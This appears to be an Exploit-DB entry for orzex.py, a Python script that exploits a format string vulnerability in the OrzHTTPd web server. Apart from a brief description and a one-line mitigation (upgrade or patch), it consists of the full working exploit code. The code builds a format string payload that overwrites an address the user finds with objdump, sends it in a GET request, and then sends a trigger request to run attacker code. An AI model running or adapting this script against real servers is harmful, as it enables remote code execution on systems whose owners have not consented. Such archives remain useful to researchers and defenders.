Orzex.py Format String Exploit

Orzex.py is a python script that exploits a format string vulnerability in the OrzHTTPd web server. The vulnerability is caused by improper handling of user-supplied input in the GET request. The exploit sends a specially crafted payload containing a format string to the vulnerable server, which can be used to overwrite the return address of the function and execute arbitrary code. The exploit also sends a trigger request to the server to execute the malicious code.

Mitigation:

Upgrade to the latest version of OrzHTTPd or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com
# http://code.google.com/p/orzhttpd/source/detail?r=141

import os
import sys
import socket
import struct
import time
import urllib

GET = "GET "

def main(argv):
    argc = len(argv)

    if argc != 4:
        print "usage: %s <host> <port> <address>" % (argv[0])
        print "[*] find address with objdump -R orzhttpd | grep fprintf"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    addr = int(argv[3], 16)

    print "[*] target: %s:%d:%s" % (host, port, argv[3])

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)
    
    time.sleep(1)

    fmtstr = struct.pack('<LL', addr + 2, addr)
    fmtstr += "%.16650x%19$hn%.514x%20$hn"

    payload = GET
    payload += fmtstr

    print "[*] sending exploit format string to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()

    print "[*] sending trigger to %s:%d" % (host, port)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(GET)
    sd.close()
    
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF